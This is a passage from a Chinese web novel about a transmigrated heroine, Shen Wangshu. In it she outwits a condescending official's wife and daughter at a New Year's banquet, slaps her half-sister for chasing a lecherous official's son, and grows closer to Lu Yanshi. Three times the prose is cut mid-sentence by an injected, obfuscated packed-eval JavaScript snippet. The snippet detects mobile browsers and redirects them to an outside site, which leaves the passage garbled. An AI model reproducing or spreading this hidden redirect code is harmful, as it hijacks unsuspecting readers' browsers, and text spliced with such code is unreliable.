“装什么呢,”她在心里冲沈妄姝腹诽道,“要真的觉得不该觉得愧疚,人家开口要请她的时候就该回绝了,装出一副爱民如子的德性,不过是想给在场的人一个下马威罢了。” 沈妄姝恍然大悟:“对哦!我怎么没想到!” “真的不请她们,或者换个便宜的地儿点些便宜饭菜,她又要说咱们这些人瞧不起这个京官儿家眷了,怎么样都能给她挑出毛病来,”沈望舒轻轻放下筷子,抬起头去看虞妙瑛母女,低声对沈妄姝道,“且看看她们母女俩要唱什么戏。” 就见虞夫人又道:“我看见这些吃饭菜要花去那样多的银钱,看见在座各位夫人小姐们打扮的如此华贵,再想到那些衣不蔽体、食不果腹的百姓们,只觉得心痛极了。” “这些无用的排场若是折算成银子,不知道能救多少百姓!” 沈望舒对这些话嗤之以鼻。 合着今日她们母女二人故意打扮的这样轻减朴实,是为了来Diss别人不如她俩体恤民心的——钱一分没给灾民掏,事情一件没给人家做,连件衣服也没见她们俩给人送过,哪儿来的脸站在道德高地指责别人? 赵知府的夫人坐在虞夫人的身旁,尴尬地笑了一声,解释道:“在座的各位为这次雪灾都捐了不少银钱,贡献可不小呢,且女子爱打扮本就是天性,过年嘛,喜气一些也是正常的。” 虞夫人不置可否。 “如今是非常时期,又岂可像往日一样铺张浪费?”她摇了摇头,像教育小孩似的严肃道,“贵妇人们一件衣裳只穿个一次两次,布料又这样奢华,实在是可惜。” 她说着,又抬起手来,遥遥一指坐在远处的沈望舒,轻声笑道:“瞧瞧,这位美人一身衣裳有如天上仙一般,做下来相比要花不少银钱吧。” 一时间包房内所有的目光都集中在了沈望舒一人身上。 沈望舒这下听出味儿来了。 “懂了,在这儿等着老娘呢。” 38.第三十八章 方才虞妙瑛和虞夫人讲悄悄话的时候,正好叫沈望舒瞧见了,她原以为不过是母女二人说几句闲话,却不想原来是在偷偷盘算要怎么膈应人呢。 包厢内的炭火烧的正旺,在安静的屋里发出噼啪的声响,满屋子的人大气都不敢出,就这样齐刷刷地望向了沈望舒。 陆晏时眼见沈望舒受了欺负,当即站起身来想要为她辩驳,却见沈望舒在众目睽睽之中、施施然地站起了身来。 面对虞夫人的指责,沈望舒非但不生气,反而还端出一副笑脸来,朗声冲虞夫人道:“没想到我这一身旧衣裳随便找人改了改,竟然连京城来的、见多识广的夫人都给骗过去了。” 这话说的意外,当即有人“哦?”了一声,惊奇道:“沈姑娘穿的竟然是旧衣裳?” 其实沈望舒也不知道穿旧衣服是多么不得了的事情:她二十块钱买的的T恤能穿三年,第四年的时候还能当做睡衣再穿,最后拿来当作抹布用过了之后,才能算是物尽其用、寿终正寝了,只是如今她顶着个沈妄姝的壳子,不免也要学起那些有钱人的做派,一件衣服穿个三四次也就顶了天了,如今为了给自家铺子打广告,才特意穿了件改过的衣裳来,却没想到在这时候派上了用场。 有人又接话说:“我说呢,沈姑娘身上这件衣裳的花纹我瞧着眼熟的很,去年穿的时候,我是不是还夸过那纹样漂亮来着?” “李夫人好记性,”沈望舒看见人接话,更是来劲了,抬起手来好叫人将她那别具一格的衣袖看清楚,笑盈盈地道,“我正是想着今年受了灾,为了赈灾我们又出了不少的银钱,就在衣服上节省了一点,拿着旧衣裳去改了——瞧瞧我们家的师傅,这手艺可是十分了得?” 在场的女眷方才都叫虞夫人训斥过,即便她是京城高管的正妻,却也是远道而来的客人,哪有客人不分好赖地拂东道主脸面的?因而一见沈望舒这个向来天不怕地不怕的丫头跳出来和虞夫人杠上了,便适时的插话道:“可真瞧不出来是旧衣裳,可比有些人身上穿的新衣都漂亮呢。” 这话里意有所指,却也不知在说谁。 但虞妙瑛却觉得她们在指桑骂槐地说自己。 她脸色不甚好看,看见沈望舒被众人恭维时心里十分不是滋味,看见陆晏时着急着站起身要为她辩驳时更是怒火中烧,想也不想便开口道:“沈姑娘不愧是一等一的富商之女,便是改一件旧衣裳,也要在上头镶嵌这样多的宝石。” 沈望舒简直在心里笑出声来了:“哈!我还就等着你开口问我呢!” 她其实根本不在乎自己的名声好坏,左右都已经烂到底了,即便现在反弹回升了一些,比起沈妄姝从前做过的离谱事,这些名声又能给她多少助力?只是不论别人在背后如何骂她都好,可要是明晃晃地将这些话讲到她的面前来刁难她,那沈望舒却是无论如何都要反击回去的。 因而面对虞妙瑛的刁难,沈望舒非但不急不怒,反而笑出声来,朗声道:“虞姑娘再好好瞧瞧,这上头哪儿是什么宝石啊?都是丢在路上都没人捡的贝壳罢了!我请工人打磨过之后,像贴螺钿一样贴在衣裳上,便有了不输珍珠的流光溢彩呢!” 她这话的言外之意就是说虞妙瑛这个京城贵女有名无实,错把贝壳认成珠宝,活脱脱一个没见识的乡下土包子,虞妙瑛却也不说什么,反问:“姑娘说的轻巧,可要将贝壳打磨成这种色泽,却也一样要花费不少人力物力,这样细细算下来,那贝壳的价格又与珠宝何异?” 沈望舒摇了摇头:“虞姑娘又错了。” 虞妙瑛的眼睛一眨不眨地看着她,开口道:“请指教。” “捡贝壳、和加工贝壳的工人是哪里来的,姑娘可知晓?这些人都是我们店里新招的工人,也就是方才虞夫人口中受灾的百姓流民,他们无处可去,被我们招来工作赚钱,难道不是件好事?”她勾起嘴角来,讥笑似的地道,“夫人和小姐若是真的心疼受灾的百姓,不如多来我们家的铺子里做几身衣裳,好叫他们赚了工钱回去养家呀!” 虞妙瑛自知理亏,与她再争辩下去不会有好结果,便客套了一句:“我这样普通的衣裳,便是点缀上那些珠宝玉石,也不过是东施效颦惹人笑话罢了。” 虞妙瑛是三品太常寺卿之女,外祖父乃是当朝太傅,她的表姐还是太子的未婚妻子,可谓是一等一的世家贵女,又因着家族势力在京城如日中天,所以她自小到大简直是走到哪儿就被人捧到哪儿,连皇后娘娘见了她都免不得夸赞她几句,即便是说出这种自谦的话时,也会立马有人吹捧她,说她才华容貌更胜玉石,又哪里需要那些俗物装点? 却不想她这话一说完,就听见方才一直一言不发的柳半夏突然直言道:“这俗话说人靠衣装马靠鞍,虞姑娘何必妄自菲薄呢?” 她见不得沈望舒被人欺负,因而即便人微言轻,也要想办法替她争辩一句什么,倒是沈望舒听见这话,差点就笑出声来。 人说虎落平阳被犬欺,更何况你们这对狐假虎威的母女?如今天高皇帝远,虞大人本人又不在这里,她们二人吃一点点的亏,也是正常的嘛。 恐怕是虞妙瑛长到这个年纪都没吃过这样大的鳖,叫沈望舒又如何不想笑? “她这会儿肯定在心里记恨我了,”沈望舒半点不生气,还能笑嘻嘻的和沈妄姝打趣,“给她一个死亡笔记,她能从封面到封底上都写满我的名字。” 好在赵知府适时跳出来缓解气氛,又是吹捧虞氏母女二人,又是哄一哄在场的各位权贵乡绅,总算将这一页揭了过去,众人又摆出副和乐融融的模样,继续吃席了。 沈望舒一点也不奇怪这些人翻脸比翻书快的本事,和陆晏时二人又一前一后地坐回自己的座位上,席间她还不往往沈星遥的方向看了一眼——他对着欺负自己妹妹的虞妙瑛翻了一个巨大的白眼,后面见沈望舒无事,这才转过头去和别人说话,是再也没看过虞妙瑛半眼了。 “你大哥能喜欢上柳半夏,倒也不是件坏事,”沈望舒有些感慨,小声地向沈妄姝道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006878|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“至少不跟虞妙瑛纠缠在一起,就又少了一个造成你们家悲剧的必要条件了!” 到酒席过半时,赵知府已经喝了个微醺,满面春风地去叫了陆晏时、柳半夏和梅停云三个人过来,大笑着将这三人的功绩介绍给了在场的众人,尤其是虞氏母女。 其实赵知府并不是什么惜才之人,也算不上什么清廉父母官,会把陆晏时他们三人介绍给虞大人的家眷,也不过是想要借着他们三个的由头,炫耀一番自己的功绩罢了——因为他赵知府的知人善用,才让这三个年轻人在这场灾祸之中崭露头角、将损失降到最低。 且他虽算不好官,却十分懂得为官之道:这陆晏时与梅停云都是十里八乡有名的才子,开了春以后就要上京赶考,凭他们的本事,将来考取功名绝非难事,他要他们二人记得,是他赵知府当年为他们做了引荐,才叫他们能够攀上三品大员的裙带,日后飞黄腾达了,莫要忘了他的提拔才是! 只可惜了,虞妙瑛注定是和这三个人站不到同一个阵线上的——她们一家人都是当朝太子的羽翼,又如何能跟这个皇位竞争者走到一路去? 但她又忠于原著的剧情对才貌双绝的陆晏时一见倾心,一整场宴会都有意无意地往陆晏时的身上看去,若是陆晏时抬起头时看到她一眼,她心下立刻小鹿乱撞,连头都要低下去,仿佛多娇羞似的,虽然有些矫揉造作,却带着少女情窦初开一般的可爱,若非沈望舒珠玉在前,定然是会招来许多男子的喜欢的。 沈望舒看着她的模样,忍不住想起了《医女皇后》后半本书的剧情。 作为目前为止唯一一个没有背离原著剧情的人物,虞妙瑛应该会在不久之后发觉陆晏时的心中已有恋慕之人,嫉妒与不甘心像一颗种子一般栽进她的心里,不过短短几月便长成一株淬了毒的藤蔓,将她的心变成了爱恨交织的泥沼。 她为了拆散陆晏时与柳半夏,一边与沈望舒交好,一边去勾引沈星遥,要这兄妹二人为她鞍前马后地拆散这一对苦命鸳鸯,闹出来不少波折,哪怕是在陆晏时登基、杀了沈妄姝这个蠢货,迎娶柳半夏为后之后,虞妙瑛也还要利用自己的家族势力,逼得根基不稳的陆晏时将她纳入后宫为妃,只绞尽脑汁地想着如何杀死柳半夏,将陆晏时的宠爱据为己有。 虞妙瑛的爱痴狂又病态,不论谁来劝解也没用,在故事的最后她被男女主联合铲除,连带着她那了不起的家族也被连根拔起,成了陆晏时与柳半夏忠贞不渝爱情的垫脚石。 沈望舒看着虞妙瑛目不转睛盯着陆晏时的模样,想到她为了争夺陆晏时的宠爱而作出的一切疯狂之举,不知怎的,突然觉得心里十分不是滋味。 她也不知自己为何会感到不悦,不知道为何会觉得做这些事情没有意思,只是没来由的有几分愠怒,仿佛自己的东西被贼人惦记上了似的让她心烦意乱,她觉得脑子里一团乱麻,理也理不清,又因为喝了杯酒而浑身燥热,干脆就借口要去醒酒,起身离了席。 连头也不回,宛若在逃荒。 39.第三十九章 醉仙楼的院子虽然比不得沈府那般奢华,却也做的足够精巧:前后两个大院子连在一起,院里种着连绵的树,又在中心有一大湖,风一吹过,湖面便在清冷的月光下泛起银色的涟漪,在湖的中心上还有一座亭,只是上头未悬灯笼,在湖面上黑漆漆的矗立着,好在这院子足够大,便是不往那上头去,也足够沈望舒来醒酒了。 她正在廊下慢悠悠地走着,两只脚像赌气似的故意去踩地砖连接处的缝隙,踩得地面啪啪作响,沈妄姝突然开口问她:“……你是不是在生气呀?” 沈望舒脚都不停地问:“你凭什么说我生气了?” 她说话的语气难得有些不客气,甚至听起来都有些冲了,沈妄姝却也不生气,还接话道:“你心里头翻江倒海的……晃的我脑子疼。” “哦对,我都忘了你未经我的允许把自己放在我的心上供养了,”沈望舒砸了砸嘴,觉得踩得有些累了,便自己寻了个栏杆随便靠着坐了,“你们做系统的都好自私啊。” 沈妄姝倒还挺骄傲:“我本来就是自私自利的恶毒女配,嘻嘻。” 她这一句话倒把沈望舒逗笑了。 此时正好有一阵寒风吹来,冷风中夹杂着些南方冬日里特有的湿意、穿过长长的回廊,尽数扑在她的面门上,适时地吹散了她的心头的烦闷,却又留下一缕吹不散的、阴湿又惆怅的思绪盘踞在她的心头上,叫沈望舒不自觉地叹了一口气,幽幽道:“我只是突然觉得,大家的生活都好热闹啊。” “不管我在哪里生活,都好像一个局外人一样,”她隐瞒了那些烦闷的情绪中有关于陆晏时的部分,挑着自己能说的向沈妄姝讲了,“在这里认识了这样多的人,又多少交了些朋友,回到自己的世界以后就什么都没了……就是想到这个,让我觉得有些寂寞罢了。” 沈望舒在这本书里认认真真地生活了几个月,又与这样多的人有了交集与连接,即便这个世界只是一个虚构出来的小说世界,可每一日、每一刻都是她的亲身经历,她一个活生生的、有血有肉的人,又要如何不对这里的人产生感情? 她抬起头来,看着在天上高悬的明月,想起自己过去每一个在月光下挑灯夜读的日子,想起自己一个人苦苦支撑、无一人相伴的每个寂寥的夜晚,在酒精的作祟下酸了鼻尖,闷闷地说了句:“别人将真心交付给了我,我却不能将其认真保管,因此有些难过罢了。” 沈妄姝第一次见她这样难过,登时如临大敌。 她一个嚣张跋扈的大小姐,又何时去关心过别人的死活?长到这样的年纪也没安慰过人半句,看见沈望舒难过,她简直急的抓耳挠腮,想要开口关心她一句什么,却死活憋不出什么话来,到最后才干巴巴地挤了句:“……你在你们那边应该也有朋友,以后也会有人交付真心给你的,没事。” 沈望舒却没接话。 她要是有朋友就好了,沈望舒想。 可她向来不爱把自己的艰辛当作博取他人同情的工具,更不喜欢将曾经遭受过的苦难一点一点的剖出来给别人看,这让她觉得自己从人变成了摇尾乞怜的流浪狗,卑微地跪在路边祈求每一个过路的人分给自己一些关心与爱,她宁愿梗着脖子去挨饿受冻,宁愿自己一个人在泥潭里挣扎,也不想要这些无足轻重的同情。 风将她的醉意吹的差不多了,沈望舒便站起身来继续往前走去,不想才拐过一个弯,竟然叫她瞧见到了一个熟人。 眼前是一座建在竹林中的四角凉亭,冬日里的竹子依旧生的青翠,交错的竹叶在月光下随风晃动,仿佛积了一身银色的雪,将一座凉亭半遮半掩地盖了起来,而在那亭子里头,正站着一男一女。 男子穿着身穿赤色锦服,模样大抵还算得上周正,远远瞧着像是什么世家公子似的,沈望舒没见过这人,并不认识,但那女子她是认得的。 女子年纪不过十七八岁,穿一身红绡翠裙,头戴缠金钗,生的一副艳若桃李的娇俏模样,不是她的好妹妹沈菀又是谁?她正含情脉脉地看着眼前的男子,面带娇羞地与他说着话,又情意绵绵地将一条锦帕递给了那男子,男人当即含笑着接下了,俨然一副要私定终身的模样,谁也没发现拐角走过来一个沈望舒。 好一副郎情妾意、情意绵绵的场面。 沈望舒没出声,先去问沈妄姝:“那男的你认识吗?” 沈妄姝作为一个认人百科,在这方面倒是十分好用,她只看了那男人一眼,便立刻回道:“是江南总督程大人的小儿子程元裕,今年春节时偷偷跑来杭州玩的,前世我哥与他见过一次。” “虽然他长的人模狗样,却是个色中饿鬼,比那吴应春好不得多少,虽然还未娶妻,但院子里的侍妾已经有了三个,”沈妄姝说起他来甚是嫌弃,撇着嘴道,“他来杭州也只为了狎妓,从前连我大哥都不乐意与他一道,也不知沈菀怎么会和他牵扯到一起去。” “娘的,”沈望舒暗骂了一句,“我前脚给她找了个好老公,她后脚就自己勾搭男人去了,宁愿去做妾也吃不得一点苦。” 沈望舒正犹豫着要不要上去管这一件闲事:沈菀对自己颇有怨言,觉得是她沈望舒不愿意看见她高嫁,才找些臭鱼烂虾来滥竽充数介绍给她,毕竟小小一个穷员外的儿子,又如何跟二品总督的次子相比? 虽然她恨铁不成钢,可若是她贸然去管,只怕沈菀日后对她怨气更深,将来日子若是过得不好,便要尽数算在沈望舒的头上来,倒不如随她自己去,日后是福是祸也叫她自己担待算了。 此时那亭内二人一转眼,终于发现了站在不远处的沈望舒,沈菀面色当即一片煞白,宛若做错了事被抓包的孩子,沈望舒看见她的表情,终于把心一横,道:“罢了,再管这最后一次,以后是死是活随她自己了!” 沈望舒深吸一口气,摆出个笑脸来,施施然向他们二人走了过去。 她的裙摆在身后似云一般铺在地上,随着她的步伐拖出一道迤逦的风,叫她恍若从云端上漫步而来的姑射神女,让程元裕一时间都看呆了,又哪里还记得身边还站着个小家碧玉的沈菀? 就见陈元裕三步并作两步地迎上前来,笑着道:“莫不是成某人如今还在梦中,否则如何能见的仙女下凡来?” 沈望舒只是笑了笑,心里惦记着要先把沈菀的帕子要回来,省的叫人回头拿这帕子去做文章,便转过头去冲沈菀说道:“我今日出门忘记带帕子,却偏偏在湖边不小心弄湿了鞋袜,现下正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022360|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是狼狈着,瞧见妹妹在这可真是太好了,你的帕子能不能借我一用?” 她一提帕子,沈菀的脸色便更差一分,喊了句姐姐之后便支支吾吾地说不出话来,倒是那程元裕眼睛一亮,道:“你们二人竟是姐妹?” 沈望舒轻轻点了点头。 程元裕大喜:“原是对姐妹花!我今日真是艳福不浅!” 他错以为沈望舒要和妹妹争宠,忙不迭地将沈菀的帕子从自己怀里掏了出来,二话不说地递给了沈望舒,讨好似的道:“方才你妹妹的帕子掉到地上,我才帮她捡了,正要还给她,既然你是她姐姐,尽管拿去用便是。” 为了讨这位有倾国倾城之姿的美人欢心,程元裕想也不想便把沈菀那定情的帕子拿出来给她献宝,沈望舒冷笑着扫了面如土色、咬着嘴唇的沈菀一眼,轻飘飘地从程元裕的手中抽走了那一条烟粉色的锦帕。 却不想程元裕色胆包天,当即就去拽沈望舒的手,将她恍若无骨的手指尽数握在自己手心里,像一尾黏腻的毒蛇亮起了他的獠牙,叫沈望舒觉得无比的恶心。 那毒蛇还要吐出他信子,装出副善良的模样,笑着问她:“还未知晓姑娘大名?” “你我相聚便是缘,赏个光陪我喝个酒吧。” 沈望舒抽了抽手,发现对方用的力气挺大,她抽了几下抽不出来,这会儿又是自己一个人出来,没带侍女也没带侍卫,没人帮她去把这登徒子拉开,她正犹豫着要不要用另一只手给他一拳时,突然有一人从沈望舒的身后伸出手来,抓住了程元裕那只拽着沈望舒手的胳膊,沈望舒还未来得及回头看一眼,就听得陆晏时的声音从背后传来:“放开。” 他的声音低沉又沙哑,仿佛饱含着难以自持的怒火、仿佛下一刻那怒火就要冲出胸腔将程元裕烧了似的,连捏着程元裕的那只手都用了十成的力气,恨不得将他那只不安分的手给捏碎了。 程元裕手上吃痛,当即便松了手,可陆晏时的手却好似焊在他的手腕上似的,任程元裕怎么甩都甩不开。 “臭小子!”他怒骂道,“你胆敢这样对我?!你可知道我是谁?!” “我不必知道你是谁,”陆晏时人看着瘦弱修长,手上力气却大极了,他说话时语速不快,却任谁都能听出来他胸中的怒气,“我只知道今日赵知府与太常寺卿虞大人都在楼上,你再不滚,我当即就将你拖到他们跟前去。” 程元裕本就是在苏州闯了些祸,瞒着他爹偷偷溜出来玩和避风头的,自然不想把篓子捅到知府那里去,又听见向来和自己爹不合的虞鸿名字,当即就如霜打的茄子一般蔫了下去。 “好好好,我走就是,”程元裕能屈能伸,当即摆出个笑脸来,生怕这事情闹大了叫他爹知道,“咱们有缘下次再见,成吗?” 陆晏时这才松开他的手,程元裕当即头也不回、灰溜溜地跑了,陆晏时还未来得及去问一嘴沈望舒有没有事,却听得沈菀红着眼睛大骂:“沈望舒!你究竟为何要三番五次坏我好事!你就这么见不得我好,这么怕自己日子过得不如我吗?!” 沈望舒翻了个白眼,当即一个箭步冲上前去,抬起手来,二话不说地朝沈菀的脸上扇了一个巴掌! “啪!” 40.第四十章 今日是除夕夜,现下正是在吃团圆饭、举家欢庆的时候,众人皆相聚在家里、在酒楼的包厢里,借着温暖的烛火推杯换盏庆贺新年,并无人有心思来外头吹这呼呼的冷风,偌大的花园里静静悄悄的,连一声鸟叫都没有,叫人连枯叶落地的声音都能听个清楚,因而沈望舒那一巴掌甩过去的声音就显得更为清脆响亮,简直都要听到回声了。 在场两个人加一个没有实体的沈妄姝,谁都没想到沈望舒会突然上手打人,皆有些懵了。 沈菀更是脑袋一瞬间一片空白,她是做梦都想不到,沈望舒竟然敢当着外人的面上手打她!她这个长姐当真是个疯的!竟是一点女儿家的脸面都不要了! 她这长姐下手实在够狠,手掌才离开自己的脸颊,面上当即就火辣辣地疼了起来,不用看都知道要红肿了。沈菀抬起手来捂着脸瞪向沈望舒,还未来得及开口骂她一句,就见得沈望舒一双明珠似的眼睛正死死地盯着自己,居高临下似的开口道:“你刚刚说了什么,再说一遍。” 沈望舒从未用过这样的语气、这样的表情与人说话。 她的声音里似乎掺杂了隐忍而克制的怒气,看向人的眼神也带着凌厉的威严,仿若只要沈菀说错一句话,她就会立刻要了她的命似的,不怒自威,叫人无端的有些害怕。 甚至有那么一瞬间,沈菀都要觉得沈望舒比沈向远还要叫她觉得发怵。 但她到底不服气这个姐姐,便是当下再心虚,也仍要做出副自己有理的模样,挺起胸膛来大骂道:“难道我说错了?!你方才不就是故意过来勾引程公子的吗!你自己照镜子看看,你那狐媚的样子到底有多令人作呕!” 一说到程元裕的事情,沈菀又立刻怒气冲冲了起来——她费了多少心思才在今夜与这总督之子搭上话,竟叫沈望舒轻而易举地就毁了! “不过长得有几分姿色,就觉得自己事事都要占尽风头不成?”她怒视着沈望舒,破口大骂道:“你水性杨花生性浪荡还有谁不知晓!分明就是看我攀上了江南总督的高枝觉得心里不爽,上赶着来跟我抢男人了!” “胡说八道!” 沈望舒还没来得及说什么,倒叫陆晏时抢先开了口,只见他眉头紧锁,面上的表情甚是愠怒,厉声对沈菀道:“你岂敢在这里颠倒黑白,血口喷人!” 若不是男女有别,只怕他当场都要像拽住程元裕一般去将沈菀拽走,省的这些污言秽语脏了沈望舒的耳朵! “她既然敢做,我又有什么不敢说!?” 陆晏时难得发这样大的脾气,连眼睛都要红了:“沈姑娘的品性岂容得你这样侮辱?!” “这又是你从哪里勾搭来的野男人?”沈菀往陆晏时身上剜了一眼,终于认出他是沈望舒生日宴上那个帮她的书生,见他生的俊朗无比更是气的连脸都发了红,怒上心头更是不知道要怕了,哼了一声道,“究竟是得了你这狐媚子多少好处,竟这般上赶子维护你?” 沈望舒不屑与她解释这些没用的,只冷笑了一声,以手指了指自己的脸,道:“睁大你的狗眼给我看清楚了,对,就看着我的这张脸,你再想一想我赚钱的本事,想清楚、想明白了,你再开口回答我——老娘想要什么样的男人没有,犯得着放下自己的身段,去跟你抢一个破烂货吗?!” 她这话说得简直高傲又自负,还带着些许胡搅蛮缠似的不讲理,可陆晏时非但不觉得她傲慢,甚至还要觉得她这副模样可爱极了,听得他直想点头附和。 沈菀也叫这话噎的不知如何反驳,话锋一转,继续指责沈望舒道:“到自己的时候就知道想要什么男人都有了,怎么轮到我就只知道找些小门小户的要我嫁?我又比你差多少?你自己去看看,那册子上的男的哪一个是有出息有本事的?!我若是真的能嫁给总督儿子,不比那什么陈修竹、李修竹的强上百倍?!” “嫁?”沈望舒嗤笑一声,仿佛在嘲笑沈菀的天真与愚蠢似的,“这些男人一个比一个精明,对正妻的要求一个比一个高,你真觉得他能娶你这个没有半点家族势力的庶女回家做妻?若你人生愿望就是给人做妾,那我无话可说。” 她说这话的时候,面上已经没有了任何的表情,仿佛沈菀是个不与她相干的路人,可她到底是刀子嘴豆腐心,仍旧在劝慰似的与她说:“我不想说这些门当户对之类的封建屁话,但女子在这个时代本就举步维艰,我能为你和你娘做的已经是这个时代里的极限了,你若是非要像头驴一样叫人家拴在后院里一辈子,将来再生下来一个像你一样,事事都想与嫡子嫡女相争、处处都低人一等的孩子——” 沈望舒抬手一指方才程元裕离去的方向,冷冷地道:“你现在就追上去,我绝不拦你。” 程元裕早就脚底抹油似的跑了没个踪影,如今那条路上空荡荡的,只有悬在廊上的一盏灯笼在深沉的夜色里随风摇曳,散发着明明灭灭的光,无端的有种萧瑟感,让沈菀不禁有些望而却步,仿佛只要她走近那一段夜色里,自己就会被啃食殆尽了一般。 她不敢拔腿去追,可心里又觉得委屈与窝火,被沈望舒几句话说得眼泪都要淌下来,却仍旧执意要与这个同父异母的姐姐争一个高低,那模样好似自己如果在这里斗嘴输给她了,自己往后的人生都要一蹶不振一样,因而她愤愤不平地道:“妾又如何?!我娘也是妾,不也已经与正妻无异了吗?!” 沈望舒简直头疼:“那是因为你娘命好,遇到一个正妻早死、懒得管理后院的蠢男人,但凡换一户人家,还能叫你们二人在府里作威作福、享受现在的待遇吗?” 她板着脸问沈菀:“今日知府设宴,旁人都携家带口来了,你跟你娘为什么会被留在府里,你自己心里难道不清楚?” 沈菀却大惊失色:“你怎么敢骂爹蠢!?” “有什么问题?”沈望舒没想到她抓重点抓到这里,皱着眉应道,“爹若是不蠢,怎么可能放任你们母女二人搓磨我,又怎么可能养出这样蠢的三个儿女?” 她直言沈家三兄妹是蠢货,敌我不分的模样叫在场的两个人都懵了,沈妄姝倒是已经被她骂习惯了,听见她这样一说,也只是小声嘀咕了一句:“怎么好好的又骂起我来了……” 沈望舒懒得再与她掰扯那么许多,开口问了她一句:“姨娘知道你今日来这里吗?” 沈菀一听她这话,方才还斗志昂扬的模样立刻有些慌乱了,赶忙开口道:“你别告诉我娘!” “还好,”沈望舒放下心来,“母女俩至少还有一个是有脑子的。” 她今日忙了许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037212|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,刚刚喝了酒又和虞妙瑛明里暗里地斗了一个来回,半醉半醒地又来管这一档闲事,现下实在累极了,眼见着沈菀已经泄了气,也不再与她争吵,只开口说:“你先回家去,跟你娘把今日的事情坦白了,一个字不漏地劝告诉她。” “若是杜姨娘也觉得你做的是一件聪明事,觉得你攀上了高枝,那我便成全了你们二人,明日一早就把你这帕子洗干净了,拿个最漂亮的锦盒装起来,恭恭敬敬地送到程大人的府上去!” 沈菀恨地直咬牙。 可如今她寻好的金龟婿已经跑得不见踪影,她再留在此处也确实没有什么意思,与沈望舒再怎么吵也吵不出个结果来,更别提沈望舒身后那个俊公子,正跟盯着猎物的狼一样看着她,仿佛她再多说几句话、再多骂沈望舒一句,他就要冲上来像咬死一只兔子一般把自己咬死一样。 怒火退去、理智渐渐回笼的沈菀终于有些知道怕了。 因而她也不再和沈望舒争吵,拔腿就要往亭外走去,才走出去不过三步,就又听得沈望舒的声音轻飘飘地从背后传了过来。 她说:“若是你敢乱走一步、去见什么不该见的人,我今晚就会打断你那双不安生的腿。” 沈菀恨恨地转过头去瞪了沈望舒一眼,哼了一声,负着气离开了。 沈望舒恨铁不成钢,却也不能一辈子在沈菀旁边耳提面命,她能做的事情已经都做了,若是连杜姨娘都处理不了,那接下来就是沈菀自己的事情了。 她自己都要自顾不暇了,又哪能管得了那么多?不过是人各有命,大家都要为自己的选择负责罢了。 沈望舒见沈菀的身影消失在曲折的回廊深处,正转过头去要谢谢陆晏时的相助,却听得陆晏时先开口道:“沈姑娘好似很喜欢打人巴掌。” 他低着头,用水一般的眼睛盯着沈望舒的脸看,分明是一副柔情的模样,却叫沈望舒想起自己刚穿来这本书的第一天、见到陆晏时的第一面时往他脸上扇的那一个巴掌,叫她尴尬的几乎要拿脚趾抠地,恨不得找个地缝钻进去。 却不想陆晏时接口道:“下次姑娘想要扇谁,叫侍女去做就成了,省的平白扇的手疼。” 他这话说得沈望舒简直目瞪口呆。 不是,那个风光霁月、正直善良,最见不得别人恃强凌弱的男主呢?!怎么他人设突然变了?也没人通知自己啊?! 可沈望舒惊归惊,心底却莫名的有几分欢喜,就好像自己轻易的得到了眼前这个少年人的偏爱与支持,他将自己苦苦挣扎却求而不得的陪伴与信任郑重地放在了自己的手心里,给在泥潭里深陷的沈望舒递出了救命的绳索,一点一点地将她往上拉,叫沈望舒高兴的都有些飘飘然了。 所以她近乎得寸进尺地开口问他,问这位日后会坐在金銮殿上、高高在上的皇帝:“那若是你呢?若是日后我要打你,也打得吗?” 陆晏时却想都不想地答:“姑娘想打便打,陆某绝无半句怨言。” “天啊,”沈望舒想,“他是不是疯了?” 可沈望舒躲藏在皮肉之下那颗炽热的心却因为这一句话小鹿乱撞似的跳动了起来,跳得她都要害怕这擂鼓一般的声响被心里住的那个沈妄姝发现了。 我也要疯了,她想。 41.第四十一章 醉仙楼花园里的回廊曲折悠长,仿佛一眼看不到头似的,沈望舒和陆晏时二人并肩在回廊上无言地走着,鞋底在冰冷的青石板上踩出清脆的声响,走廊上的灯笼在灰暗的路面上投下一圈一圈的光斑,又被她们二人一步一步地踩碎了,光影在寒风的吹拂下左右摇晃,宛若在做什么无声的抗议。 清冽的风又自她们二人中间穿过,将沈望舒方才因为酒精而发烫的脑子吹得冷静了三分,这才平复了心情去问陆晏时:“你怎么也出来了?” 她不过是随便找个话题与他说说话,省得二人一言不发的有些尴尬,又哪里知道陆晏时是看见她自己一个人连侍女都不带就悄然离席,自己就不过脑子似的想要追着她出来、想要与她单独相处,多说几句话。 这些日子他们都太过于忙碌,书院又停了课,因此即便他们二人同住在沈府里,可陆晏时想要见到她一面竟成了登天一样的难事,更别提与她说一说话,问一问她近来好不好了。 